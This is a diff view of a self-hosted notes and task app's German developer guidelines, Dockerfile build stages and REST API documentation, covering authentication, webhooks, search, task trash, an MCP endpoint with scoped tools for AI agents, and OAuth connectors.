- **Antippen am Handy:** Ziele mindestens 44 px hoch (`h-11 sm:h-…`). Auf reinen Touch-Geräten gibt es kein HTML5-Drag-&-Drop; Kanban nutzt dafür `useKanbanTouchDrag`, die Notizen die Leiste über der Tastatur (`MobileOutlineBar`).
- **Themes:** Farben nur über die Theme-Variablen bzw. Klassen (`bg-panel`, `bg-canvas`, `text-main`, `text-muted`, `border-border`, `bg-accent` …), keine festen Farben. Rahmen mit `bg-panel`/`bg-canvas` bekommen die Ecken des Themes automatisch; liegt darin ein Kopfbereich mit eigenem Hintergrund, braucht der Rahmen `overflow-hidden`, sonst ragen bei runden Ecken die Kanten heraus.
- **Installierte App (PWA):** Manifest-Änderungen (Farben, Verknüpfungen) übernimmt Android erst, wenn es die App aktualisiert (bis etwa einen Tag) oder nach Neuinstallation; normaler App-Code kommt beim nächsten Start. Ändert sich der Cache-Inhalt des Service Workers, `VERSION` in `frontend/public/sw.js` erhöhen.
-1056
View File
File diff suppressed because it is too large. Load diff
-1
View File
@@ -1 +0,0 @@
@AGENTS.md
+5 -22
View File
@@ -4,17 +4,11 @@
FROM node:22-alpine AS frontend-builder
WORKDIR /app/frontend
COPY frontend/package*.json ./
RUN --mount=type=cache,target=/root/.npm npm install --no-audit --no-fund
RUN npm install --no-audit --no-fund
COPY frontend/ ./
# Version shown in the header: the git tag for releases (set by CI), otherwise "<package version>-dev"
ARG APP_VERSION=""
ARG SKIP_TESTS=0
RUN if [ "$SKIP_TESTS" != "1" ]; then \
npx tsc --noEmit && npm run lint && npm run test:run; \
else \
echo "Skipping frontend tests (SKIP_TESTS=1)"; \
fi && \
APP_VERSION="${APP_VERSION}" npm run build
RUN npx tsc --noEmit && npm run lint && npm run test:run && APP_VERSION="${APP_VERSION}" npm run build
# ==============================================================================
# Stage 2: Go Backend Lint, Unit Tests & Binary Build (Cached Go module & sqlite layer)
@@ -25,8 +19,7 @@ RUN apk add --no-cache git ca-certificates
# Cache Go modules & pre-compile heavy dependencies (modernc.org/sqlite) in a dedicated layer
COPY go.mod ./
RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \
go get github.com/go-chi/chi/v5@v5.2.0 \
RUN go get github.com/go-chi/chi/v5@v5.2.0 \
github.com/go-chi/cors@v1.2.1 \
github.com/golang-jwt/jwt/v5@v5.2.1 \
github.com/gorilla/websocket@v1.5.3 \
@@ -45,26 +38,16 @@ COPY cmd/ ./cmd/
COPY internal/ ./internal/
COPY --from=frontend-builder /app/frontend/dist ./cmd/server/dist
ARG SKIP_TESTS=0
# Run go mod tidy, static analysis (go vet), unit tests (go test), and compile final binary
RUN --mount=type=cache,target=/go/pkg/mod --mount=type=cache,target=/root/.cache/go-build \
go mod tidy && \
if [ "$SKIP_TESTS" != "1" ]; then \
RUN go mod tidy && \
CGO_ENABLED=0 go vet ./... && \
CGO_ENABLED=0 go test -v ./...; \
else \
echo "Skipping backend tests (SKIP_TESTS=1)"; \
fi && \
CGO_ENABLED=0 go test -v ./... && \
CGO_ENABLED=0 go build -ldflags="-s -w" -o /app/mindsift ./cmd/server
# ==============================================================================
# Stage 3: Minimal Production Runtime (< 35 MB)
# ==============================================================================
FROM alpine:3.21
# The code state the image was built from (CI: decides whether a later build may skip the tests)
ARG GIT_SHA=""
ARG GIT_TREE=""
LABEL org.opencontainers.image.revision="${GIT_SHA}" io.mindsift.tree="${GIT_TREE}"
RUN apk add --no-cache ca-certificates tzdata && \
mkdir -p /data /tmp && \
chmod 1777 /tmp
+1 -1
View File
@@ -27,7 +27,7 @@ Referenz für Entwickler und Administratoren. Alle Angaben wurden gegen den Code
- **Datenhaltung:** vollständig in SQLite. Es gibt keine `.md`-Dateien auf der Platte; Markdown wird bei Bedarf aus den Blöcken erzeugt (`documents.markdown_cache`, Export als `.md`).
- **Echtzeit:** ein Hub mit Räumen und Benutzer-Kanälen (WebSocket, SSE als Ersatz). Verteilt werden Ereignisse nach Änderungen.
- **Notizen gemeinsam bearbeiten:** server-autoritatives Operations-Log mit Versionen und Sperren pro Bullet, Konfliktkopien statt Überschreiben, Offline-Warteschlange in IndexedDB, Abgleich auch hinter restriktiven Proxys ([modules/collaboration.md](modules/collaboration.md)).
- **Auth:** JWT (HS256) mit serverseitiger Sitzung (`sessions`, gleitend 30 Tage) und `token_version`, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
- **Auth:** JWT (HS256, 30 Tage) mit `token_version` und Sperrliste, dazu API-Keys (`mindsift_sec_…`) für Webhooks.
- **Freigaben:** Aufgabenlisten, geteilte Listen, Notizen und Ordner jeweils mit Rolle Bearbeiter oder Leser.
## Entwickeln
+25 -156
View File
@@ -1,24 +1,22 @@
# REST-API
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Schlüssel** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) haben Rechte (Scopes), die für REST und [MCP](#mcp-für-ki-agenten-post-apiv1mcp) gleich gelten, siehe [API-Schlüssel](#api-schlüssel-rechte-und-herkunft). Alles andere, auch Notizen, Einstellungen und Live-Streams, antwortet einem Schlüssel mit `403`. Zeitstempel sind ISO-8601 (UTC). Anfragekörper sind auf 2 MB begrenzt (Notiz-Sync 8 MB, Importe 101 MB). Im Demo-Modus antworten Endpunkte, die etwas verschicken, Server-Einstellungen ändern oder die gemeinsamen Demo-Konten verändern würden, mit `403` „In der Demo deaktiviert“. Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`. Authentifizierung über `Authorization: Bearer <JWT>`. **API-Keys** (`Bearer mindsift_sec_…` bzw. Header `X-API-Key`) liefern nur Daten ein, über `POST /inbox` und `POST /webhooks/ingest`, und nur für die Ziele ihrer Scopes: `webhook:triage` (Inbox), `webhook:task` (Aufgaben), `webhook:list` (Listeneinträge). Alles andere, auch Live-Streams, antwortet mit `403` bzw. `401`. Zeitstempel sind ISO-8601 (UTC). Quelle der Wahrheit sind die Routen in [server.go](../../internal/api/server.go).
## Öffentlich
| Methode | Pfad | Zweck |
|---|---|---|
| GET | `/health` | Lebenszeichen |
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`, `customLinkLabel`, `customLinkUrl`), `voice` (`mode` = `server`/`browser`/`off`, `maxSeconds`, `browserAllowed`), `mcpEnabled`, `mcpConnectorUrl` |
| GET | `/auth/status` | `needsSetup`, `allowRegistration`, `instanceName`, `demoMode`, `sharingMode`, `legal` (`imprintUrl`, `hasImprintContent`, `privacyUrl`, `hasPrivacyContent`) |
| GET | `/legal/{imprint\|privacy}` | Hinterlegter Markdown-Text (`content`), ohne Anmeldung; `404`, wenn keiner gesetzt ist |
| POST | `/share-target` | PWA Web Share Target Fallback: Weiterleitung auf `/` (`303 See Other`), falls Service Worker noch inaktiv |
| POST | `/auth/setup` | Erstes Administratorkonto (`email`, `password`, `displayName`, `instanceName`, `allowRegistration`, `sharingMode`, `seedSampleData`); nur solange es keine Konten gibt |
| POST | `/auth/verify-email` | Link aus der Bestätigungs-E-Mail (`token`): schaltet das Konto frei oder reicht es an die Freigabe weiter (`{"verified","pending","message"}`) |
| POST | `/auth/resend-verification` | Bestätigungslink erneut schicken (`email`); antwortet immer gleich, höchstens alle 2 Minuten pro Konto |
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); mit Code immer, sonst je nach Registrierungsmodus. `201` mit Token oder `202 {"pending":true,"verify","message"}`, wenn erst die E-Mail-Adresse bestätigt (`verify`) und/oder ein Admin freigeben muss (Login bis dahin `403`); `429` nach 20 Versuchen pro Adresse in 15 Minuten oder bei mehr als 50 wartenden Konten |
| POST | `/auth/register` | Registrierung (`email`, `password`, `displayName`, `inviteCode`); nur mit Code oder wenn freigegeben |
| POST | `/auth/login` | Anmeldung (`login`/`email`/`username`, `password`) → `{token, user}` |
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen; `429` nach 10 Anfragen pro Adresse in 15 Minuten |
| POST | `/auth/forgot-password` | `{email}` → immer `{ok: true}`; Mail mit Link nur, wenn das Konto existiert. `503`, wenn SMTP oder `BASE_URL` fehlen |
| POST | `/auth/reset-password` | `{token, password}` (mind. 8 Zeichen) → neues Passwort, alle Sitzungen beendet; `400` bei ungültigem oder abgelaufenem Link |
| POST | `/auth/quickstart` | Immer `403` (Gastzugang deaktiviert) |
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=` (in der URL nur API-Keys, keine Sitzungs-Tokens). Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
| POST | `/webhooks/ingest` | Einliefern per Webhook, Key als `X-API-Key` (empfohlen), Bearer oder `?token=`. Body: `title`/`content`/`text`/`message`, `priority`, `source`, `tags`, `dueDate`; `target` (oder `type`): `triage` (Standard, Inbox), `task` (optional `taskListId`), `list_item` (`listId`, `category`, `quantity`). Klartext-Body wird als Inhalt genommen. `403` ohne passenden Scope oder ohne Schreibrecht auf die Liste |
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
| GET | `/ws`, `/ws/spaces/{id}`, `/ws/lists/{id}` | WebSocket, siehe [websocket.md](websocket.md); `?ticket=` oder `Authorization`-Header |
| GET | `/events` | SSE-Fallback; `?ticket=` oder `Authorization`-Header |
@@ -28,19 +26,13 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
|---|---|---|
| GET | `/auth/me` | Benutzer und Kennzahlen |
| POST | `/events/rooms` | SSE-Raum beitreten/verlassen (`sseId`, `room`, `action`); nur eigene `sseId`, nur Räume mit Lesezugriff |
| POST | `/events/poll` | Long-Polling-Verbindung öffnen (`rooms` optional) → `{pollId}`; nur mit Sitzung |
| GET | `/events/poll/{pollId}?wait=25` | Gepufferte Ereignisse abholen, wartet bis zu `wait` s → `{events}`; `404` = abgelaufen |
| POST | `/auth/stream-ticket` | Einmal-Ticket (60 s) für WebSocket/SSE |
| POST | `/voice/transcribe` | Nur im Server-Modus der Spracherkennung: `multipart/form-data` mit `file` (Aufnahme, z. B. WebM/Opus oder MP4/AAC) → `{text}`. `404` ohne `STT_URL`, `413` zu groß, `429` Stundenlimit, `503` ausgelastet, `502` Whisper-Fehler (Details im Log) |
| POST | `/auth/logout` | Sitzung dieses Geräts beenden |
| GET | `/auth/sessions` | Angemeldete Geräte: `[{id, createdAt, lastUsedAt, userAgent, ip, current}]` |
| DELETE | `/auth/sessions/{id}` | Ein Gerät abmelden; `404` bei fremder oder unbekannter Sitzung |
| POST | `/auth/logout` | Token sperren |
| POST | `/auth/revoke-all` | Alle Sitzungen beenden (`token_version` +1) |
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes`, `retention` (`doneTasks`, `taskTrash`, `triageTrash`, `noteTrash`, `listDone`: Tage aus 7, 14, 30, 90, 365, 730 oder 0 = nie; immer alle fünf, `400` bei anderen Werten oder bei 0, wenn der Server „nie“ abgeschaltet hat), `voiceInput` (`""` = Whisper-Server, `browser`), `doneRetentionDays` (älteres Einzelfeld für `retention.doneTasks`). `GET /auth/me` liefert dazu `retention` und `retentionNeverAllowed`. `notificationSettings` (`paused`, `includeOwnWatched`, `events.{due,shared,taskDone,watched}.{email,discord}`, `dailySummary.{enabled,time,email,discord}`) für Benachrichtigungen. Neue `email` oder `password` nur mit `currentPassword` (`403` bei falschem, `429` bei Login-Sperre); nach neuem Passwort sind andere Geräte abgemeldet, das neue Token kommt im Header `X-Session-Token` |
| PATCH | `/auth/settings` | `displayName`, `email`, `password`, `avatarUrl`, `alarmChannels`, `alarmEmail`, `discordWebhookUrl`, `customWebhookUrl`, `notifyBeforeMinutes` |
| POST | `/auth/alarms/test` | Test-Alarm (`channel`: `email`/`discord`/`webhook`, optional `target`) |
| GET | `/users/directory`, `/collaborators` | Personen, die man sehen und mit denen man teilen kann (je nach `sharingMode`, [sharing-and-permissions.md](../sharing-and-permissions.md)) |
| GET | `/stats` | Zähler fürs Dashboard (u. a. `inboxCount`, `tasksOpenCount`, `listItemsOpenCount` = offene Einträge aller sichtbaren Listen) |
| GET | `/search?q=` | Globale FTS5-Suche in zugänglichen Notizen (Titel & Blöcke), Aufgaben und Listen → `{thoughts, documents, listItems, hits, counts}`. Offene Aufgaben und Listeneinträge vor erledigten. Optional: `type` (`document`/`thought`/`list_item`), `limit` (Treffer je Art, Standard 40, höchstens 200), für Aufgaben `taskStatus` (`open`/`done`), `taskListId` (`personal` = ohne Liste), `priority`, `due` (`today`/`overdue`/`week`), für Notizen `folder` (samt Unterordnern), für Listen `listId`, `itemStatus` (`open`/`done`). Treffer in Punkten tragen `before`/`after` (Text der Nachbarpunkte); `counts` = Treffer je Art in dieser Antwort |
| GET | `/search?q=` | Globale FTS5-Suche in zugänglichen Notizen (Titel & Blöcke), Aufgaben und Listen → `{thoughts, documents, listItems, hits}` |
| GET | `/export` | Datenexport als JSON; mit `?format=zip` dieselben Daten als `mindsift-backup.json` in einer ZIP (so lädt die Oberfläche das Backup) |
| GET | `/export/markdown` | Obsidian-kompatibles ZIP (`mindsift-vault-DATUM.zip`), direkt gestreamt: Notizen als `.md` mit YAML-Frontmatter in der Ordnerstruktur des Nutzers (inkl. geteilter), `Aufgaben/<Liste>.md` im Format des Tasks-Plugins (`📅`, `⏫`/`🔺`), `Listen/<Liste>.md` |
| GET/POST | `/themes` | Eigene CSS-Themes; anlegen oder mit `id` ändern (`name`, `css`, max. 200 KB) |
@@ -51,10 +43,7 @@ Basis: `/api/v1`. Antworten sind JSON; Fehler haben die Form `{"error": "Text"}`
| DELETE | `/user/account` | Eigenes Konto mit allen Daten löschen (`{"password"}` nötig); `403` für den letzten Server-Admin. `/auth/me` liefert dafür `isLastAdmin` |
| GET | `/backups`, `/backups/{name}` | Eigene automatische Server-Backups auflisten bzw. herunterladen |
| POST | `/backups/{name}/restore` | Server-Backup einspielen: `mode=merge` oder `restore` (gewählte Bereiche vorher leeren), `sections=notes,tasks,lists,inbox,themes`, `preview=1` |
| GET/POST | `/keys` | API-Keys auflisten bzw. anlegen (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (`webhook:triage`, `webhook:task`, `webhook:list`, `tasks:read`, `tasks:write`, `lists:read`, `lists:write`, `notes:read`, `notes:create`; Standard `["webhook:triage"]`) |
| POST | `/mcp` | MCP-Endpunkt für KI-Agenten, siehe unten |
| PATCH | `/keys/{id}` | Name (`name`) und/oder Rechte (`scopes`) ändern; der Schlüssel selbst bleibt gleich |
| DELETE | `/keys/{id}` | API-Key löschen |
| GET/POST/DELETE | `/keys`, `/keys/{id}` | API-Keys verwalten (Klartext nur bei Erstellung); `POST` mit `name` und `scopes` (Standard `["webhook:triage"]`) |
### Globale Suche (`GET /api/v1/search?q=`)
@@ -81,110 +70,25 @@ Führt eine Volltextsuche über SQLite FTS5 mit BM25-Relevanz-Ranking aus.
}
```
### MCP für KI-Agenten (`POST /api/v1/mcp`)
MindSift ist ein [MCP](https://modelcontextprotocol.io)-Server (Streamable HTTP, zustandslos, nur JSON-RPC 2.0 per `POST`; kein Server-Stream, `GET` antwortet `405`, Batches werden abgelehnt). Anmeldung wie überall per `X-API-Key` oder `Authorization: Bearer`; eine Sitzung darf alles, ein API-Key nur die Werkzeuge seiner Scopes, und `tools/list` zeigt ihm nur diese. Protokollversionen `2025-06-18`, `2025-03-26`, `2024-11-05`. Unterstützte Methoden: `initialize`, `ping`, `tools/list`, `tools/call`; Benachrichtigungen antworten `202`. Fehler eines Werkzeugs kommen als `isError`-Ergebnis zurück, damit der Agent sie lesen kann; Ergebnisse stehen als `structuredContent` (Listen als `{items}`) und als JSON-Text.
Betreiber können MCP abschalten (`MCP_ENABLED=false` oder Schalter in der Administration, Feld `mcpEnabled` in `/admin/settings`). Dann antwortet der Endpunkt mit `404`, OAuth ist ebenfalls aus, und `GET /auth/status` liefert `mcpEnabled: false`.
| Werkzeug | Scope | Zweck |
|---|---|---|
| `list_task_lists` | `tasks:read` | Aufgabenlisten mit `permission`, offenen Aufgaben und Board-Spalten (`columns`: gültige Werte für `kanbanStatus`) |
| `create_task_list` | `tasks:write` | Eigene Aufgabenliste mit den Standardspalten anlegen (`title`, `icon`) |
| `list_tasks` | `tasks:read` | Aufgaben (`taskListId`, `status` open/done/all, `dueBefore` JJJJ-MM-TT, `limit`); fällige zuerst |
| `get_task` | `tasks:read` | Eine Aufgabe |
| `create_task` | `tasks:write` | Aufgabe anlegen (`content`, `taskListId`, `priority`, `dueDate`, `notes`); Quelle `agent` |
| `update_task` | `tasks:write` | Felder ändern (`content`, `isCompleted`, `dueDate`, `priority`, `notes`, `kanbanStatus`, `taskListId`, `tags`) |
| `complete_task` | `tasks:write` | Abhaken (`completed` false = wieder öffnen) |
| `add_subtask` | `tasks:write` | Unteraufgabe anhängen (`taskId`, `title`) |
| `update_subtask` | `tasks:write` | Unteraufgabe abhaken (`completed`), umbenennen (`title`) oder entfernen (`delete`) |
| `delete_task` | `tasks:write` | Aufgabe löschen (z. B. versehentlich angelegte); sie kommt in den Papierkorb der Aufgaben |
| `list_lists` | `lists:read` | Geteilte Listen mit offenen Einträgen |
| `create_list` | `lists:write` | Liste anlegen (`title`, `icon`, `listType` shopping/checklist/vacation) |
| `get_list` | `lists:read` | Liste mit Einträgen |
| `add_list_item` | `lists:write` | Eintrag hinzufügen (`listId`, `content`, `category`, `quantity`) |
| `check_list_item` | `lists:write` | Eintrag abhaken (`completed` false = zurück) |
| `update_list_item` | `lists:write` | Text, Kategorie, Menge ändern |
| `list_notes` | `notes:read` | Notizen ohne Inhalt, zuletzt geänderte zuerst (`folder` samt Unterordnern, `query` im Titel, `limit`) |
| `get_note` | `notes:read` | Eine Notiz; `content` sind die Punkte als eingerückte Markdown-Liste (Tab je Ebene, `- [ ]` für To-dos, Bilder und Aufnahmen als Platzhalter) |
| `create_note` | `notes:create` | Neue Notiz (`title`, `content` als Markdown wie beim Import, `folderPath`, `icon`); in geteilte Ordner nur mit Schreibrecht. Bestehende Notizen ändert kein Werkzeug |
| `search` | ein Lese-Scope | Volltextsuche in Aufgaben, Listeneinträgen und Notizen (nur die Teile der eigenen Scopes); Notizen als `notes` mit `noteId`, `title`, `snippet` |
| `capture_to_inbox` | `webhook:triage` | Gedanken in die Inbox |
Was ein Agent anlegt oder ändert, bekommt eine dauerhafte Herkunft (`origin`, siehe [API-Schlüssel](#api-schlüssel-rechte-und-herkunft)). `create_task` geht auch mit `webhook:task`, `add_list_item` auch mit `webhook:list`.
Freigaben gelten wie für die Person selbst: Leser-Listen lassen sich nicht ändern, fremde Listen sind unsichtbar. Einrichtung z. B. in Claude Code: `claude mcp add --transport http mindsift https://mindsift.example.com/api/v1/mcp --header "X-API-Key: mindsift_sec_…"`; die Einstellungen zeigen die Varianten für Codex (`config.toml`) und JSON-Konfigurationen (Claude Desktop, Cursor). claude.ai und ChatGPT verbinden sich per OAuth (nächster Abschnitt).
### OAuth für claude.ai und ChatGPT
Clients, die keinen `X-API-Key` setzen können, verbinden sich per OAuth 2.1 nach der MCP-Spezifikation (Autorisierung, Stand 2025-06-18). In claude.ai wird dafür nur `<BASE_URL>/api/v1/mcp` als eigener Connector eingetragen; den Rest erledigt der Client. Voraussetzung ist `BASE_URL` (Issuer und Ressource); ohne `BASE_URL`, im Demo-Modus und bei abgeschaltetem MCP antworten alle Endpunkte mit `404`. `GET /auth/status` liefert die Adresse als `mcpConnectorUrl` (leer, wenn OAuth aus ist).
| Methode | Pfad (ohne `/api/v1`) | Zweck |
|---|---|---|
| GET | `/.well-known/oauth-protected-resource` (auch mit Anhang `/api/v1/mcp`) | Ressourcen-Beschreibung (RFC 9728): `resource`, `authorization_servers`, `scopes_supported` |
| GET | `/.well-known/oauth-authorization-server` | Server-Beschreibung (RFC 8414) |
| POST | `/oauth/register` | Dynamische Client-Registrierung (RFC 7591), JSON `client_name`, `redirect_uris` (nur `https://` oder `http://localhost`/`127.0.0.1`, höchstens 10). Alle Clients sind öffentlich (`token_endpoint_auth_method: none`); 20 Registrierungen pro Adresse und Viertelstunde |
| GET | `/oauth/authorize` | Zustimmungsseite in der App (Anmeldung, Rechte wählen, Erlauben/Ablehnen). Pflicht: `response_type=code`, `client_id`, `redirect_uri` (exakt registriert), `code_challenge` mit `code_challenge_method=S256`; optional `state`, `scope` (Leerzeichen-getrennte Rechte), `resource`. Die Antwort an den Client trägt `code`, `state` und `iss` bzw. `error` |
| POST | `/oauth/token` | Formular: `grant_type=authorization_code` (`code`, `client_id`, `redirect_uri`, `code_verifier`) oder `refresh_token` (`refresh_token`, `client_id`). Fehler als `{"error":"invalid_grant",…}` |
| POST | `/oauth/revoke` | Token widerrufen (RFC 7009); ein Refresh-Token beendet alle Tokens der Verbindung |
Die Zustimmungsseite nutzt `GET`/`POST /api/v1/oauth/authorize` (nur mit Anmeldung, nicht mit Schlüsseln).
- **Rechte:** dieselben wie bei Schlüsseln, angeboten werden `tasks:read`, `tasks:write`, `lists:read`, `lists:write`, `notes:read`, `notes:create` und `webhook:triage`. Fragt der Client nichts Bestimmtes an, sind Lesen und Ändern für Aufgaben und Listen vorbelegt.
- **Verbindung = Eintrag unter `/keys`** mit `kind: "oauth"` und dem Namen „<Client> (OAuth)“. Rechte ändern, umbenennen und löschen wie bei jedem Schlüssel; Herkunft (`origin`) mit diesem Namen. Erneutes Zustimmen desselben Clients verwendet den Eintrag weiter.
- **Tokens:** Code 10 Minuten und einmal gültig, Zugangs-Token (`mindsift_oat_…`) 1 Stunde, Refresh-Token (`mindsift_ort_…`) 90 Tage und bei jeder Erneuerung neu. Wird ein bereits ersetzter Refresh-Token noch einmal benutzt, enden alle Tokens der Verbindung. Zugangs-Tokens gelten nur für `POST /mcp`, nicht für REST oder Webhooks.
- **Verfall:** Eine Verbindung, die `OAUTH_IDLE_DAYS` (Standard 90, `0` = nie) nicht benutzt wurde, wird gelöscht.
- Ohne gültiges Token antwortet `/mcp` mit `401` und `WWW-Authenticate: Bearer resource_metadata="…"`.
### API-Schlüssel: Rechte und Herkunft
Ein Schlüssel darf nur diese Endpunkte und braucht dafür eines der genannten Rechte:
| Recht (Scope) | Bedeutung | REST | MCP-Werkzeuge |
|---|---|---|---|
| `webhook:triage` | Inbox füllen | `POST /inbox`, `POST /webhooks/ingest` (Ziel `triage`) | `capture_to_inbox` |
| `tasks:read` | Aufgaben lesen | `GET /task-lists`, `GET /tasks` | `list_task_lists`, `list_tasks`, `get_task`, `search` |
| `webhook:task` | Aufgaben anlegen | `POST /inbox` bzw. `/webhooks/ingest` mit Ziel `task` | `create_task` |
| `tasks:write` | Aufgaben ändern (schließt Anlegen ein) | dazu `PATCH`/`DELETE /thoughts/{id}` | dazu `update_task`, `complete_task`, `delete_task`, `create_task_list` |
| `lists:read` | Listen lesen | `GET /lists`, `GET /lists/{id}` | `list_lists`, `get_list`, `search` |
| `webhook:list` | Listeneinträge hinzufügen | `POST /lists/{id}/items`, `/webhooks/ingest` mit Ziel `list_item` | `add_list_item` |
| `lists:write` | Listen ändern (schließt Hinzufügen ein) | dazu `PATCH`/`PUT /lists/{id}/items/{itemId}` | dazu `check_list_item`, `update_list_item`, `create_list` |
| `notes:read` | Notizen lesen | – | `list_notes`, `get_note`, `search` |
| `notes:create` | Notizen anlegen | – | `create_note` |
Notizen gibt es nur über MCP; per REST bleiben sie für Schlüssel gesperrt. Notizen tragen keine Herkunft (`origin`).
Die Ids `webhook:…` stammen aus der Zeit, als Schlüssel nur einliefern konnten, und bleiben für bestehende Schlüssel gleich.
`GET /tasks` filtert für Skripte und Smart Home: `status=open|done|all` (Standard alle), `due=today`, `due=overdue` (nur offene) oder `due=JJJJ-MM-TT` (fällig bis einschließlich); Tage zählen in der Zeitzone des Servers (`TZ`). Ohne Parameter bleibt die Antwort wie bisher.
**Herkunft:** Was ein Schlüssel anlegt oder ändert, trägt an Aufgabe, Gedanke oder Listeneintrag das Feld `origin`: `createdVia`/`createdKey` (angelegt) und `changedVia`/`changedKey`/`changedAt` (zuletzt per Schlüssel geändert), mit `api` oder `mcp` als Zugang und dem Namen des Schlüssels (gelöscht: „Gelöschter Schlüssel“). Die Herkunft bleibt dauerhaft, auch wenn die Person den Eintrag danach selbst bearbeitet, und geht beim Umwandeln in der Triage mit (auch in einen Listeneintrag). Eine MCP-Anfrage aus einer Anmeldung heraus zählt als `mcp` ohne Schlüssel.
## Gedanken, Triage, Aufgaben
| Methode | Pfad | Zweck |
|---|---|---|
| POST | `/inbox` | Schnellerfassung. Body: `content`, `priority`, `source`, `dueDate`, `target` (`inbox`/`task`/`list_item`/`document`), `targetListId`, `taskListId` (snake_case-Varianten werden akzeptiert) |
| GET | `/thoughts?status=` | Gedanken (`inbox`, `kept`, `converted`, `discarded`, `all`) |
| GET/PATCH/DELETE | `/thoughts/{id}` | Einzelabruf; Teiländerung (`content`, `isCompleted`, `dueDate`, `priority`, `taskListId`, `kanbanStatus`, `notes`, `subtasks`, `tags`, `assignees`, `recurrence` = `daily`/`weekly`/`monthly`/`yearly`/leer); Löschen: eine Aufgabe kommt in den Papierkorb der Aufgaben, ein Gedanke aus Posteingang oder Triage-Papierkorb ist endgültig weg. `assignees` ersetzt die Zuweisungen; nur Personen mit Zugriff auf die Liste, sonst `403` |
| DELETE | `/thoughts/discarded/purge` | Papierkorb der Triage (verworfene Gedanken) leeren |
| GET/PATCH/DELETE | `/thoughts/{id}` | Einzelabruf; Teiländerung (`content`, `isCompleted`, `dueDate`, `priority`, `taskListId`, `kanbanStatus`, `notes`, `subtasks`, `tags`, `assignees`, `recurrence` = `daily`/`weekly`/`monthly`/`yearly`/leer); Löschen. `assignees` ersetzt die Zuweisungen; nur Personen mit Zugriff auf die Liste, sonst `403` |
| DELETE | `/thoughts/discarded/purge` | Papierkorb leeren |
| GET | `/triage/deck` | Posteingang (max. 100) |
| PATCH | `/triage/{id}` | `action`: `keep`/`discard`/`restore`; mit `convertTo`: `task`/`document`/`list_item` |
| GET | `/tasks?taskListId=&status=&due=` | Aufgaben (optional einer Liste; Filter siehe [API-Schlüssel](#api-schlüssel-rechte-und-herkunft)) |
| POST | `/tasks/clear-done` | Erledigte Aufgaben in den Papierkorb der Aufgaben (`taskListId`, leer = alle bearbeitbaren) → `{deleted}` |
| GET | `/tasks/trash?taskListId=` | Papierkorb der Aufgaben (einer Liste, sonst alle sichtbaren): `id`, `content`, `taskListId`, `isCompleted`, `trashedAt`, `trashedBy` (Name, leer = automatisch), `canEdit` |
| POST | `/tasks/trash/{id}/restore` | Aufgabe unverändert zurückholen (mit Zuweisungen; eine gelöschte Liste macht sie zur eigenen Aufgabe ihres Erstellers) → Aufgabe |
| DELETE | `/tasks/trash/{id}` | Endgültig löschen (Bearbeitungsrecht auf die Liste, sonst `403`) |
| POST | `/tasks/trash/empty` | Papierkorb leeren (`taskListId`, leer = alle bearbeitbaren) → `{deleted}` |
| GET | `/tasks?taskListId=` | Aufgaben (optional einer Liste) |
| POST | `/tasks/reorder`, `/task-lists/{id}/tasks/reorder` | Reihenfolge/Spalte ändern (`items[{id, sortOrder, kanbanStatus}]`) |
| POST | `/tasks/{id}/unlink` | Verknüpfung zu Notiz-Block lösen |
| POST/DELETE | `/tasks/{id}/watch` | Aufgabe beobachten bzw. nicht mehr → `{watching}`; `404` ohne Zugriff. Aufgaben-Antworten tragen `isWatching` |
## Aufgabenlisten
| Methode | Pfad | Zweck |
|---|---|---|
| GET/POST | `/task-lists` | Listen (`permission` je Liste: `owner`/`editor`/`viewer`); anlegen (`title`, `icon`, `color`, `teamId`; `icon: ""` = ohne Symbol, fehlt es: 📋) |
| GET/POST | `/task-lists` | Listen (`permission` je Liste: `owner`/`editor`/`viewer`); anlegen (`title`, `icon`, `color`, `teamId`) |
| PUT/DELETE | `/task-lists/{id}` | Ändern (`title`, `icon`, `color`, `teamId`, `columns`) – nicht für Leser; Löschen nur Eigentümer |
| GET | `/task-lists/{id}/shares` | Freigaben |
| POST | `/task-lists/{id}/shares` | Nur Eigentümer. Body: `targetType` (`team`/`user`), `targetId`, `permission` (`editor`/`viewer`, Standard `editor`). Erneutes Senden für dasselbe Ziel ändert die Stufe |
@@ -196,44 +100,23 @@ Schreibzugriffe von Lesern auf Listen oder deren Aufgaben liefern `403` („Kein
| Methode | Pfad | Zweck |
|---|---|---|
| GET/POST/DELETE | `/folders` | Ordnerliste, anlegen (`path`), löschen; ein eigener Ordner kommt mit Unterordnern und Notizen als ein Eintrag in den Papierkorb |
| POST | `/folders/trash/{id}/restore` | Ordner aus dem Papierkorb wiederherstellen (mit allen Unterordnern, auch leeren, und Notizen) → `restoredDocIds` |
| DELETE | `/folders/trash/{id}` | Ordner im Papierkorb samt Notizen endgültig löschen |
| GET/POST/DELETE | `/folders` | Ordnerliste, anlegen (`path`), löschen |
| POST | `/folders/move` | `sourcePath`, `targetParentPath` |
| GET/POST | `/workspace/folders/shared` | Geteilte Ordner; anlegen (`name`, `mountPath`) |
| GET/DELETE | `/workspace/folders/shared/{id}` | Abruf; Löschen |
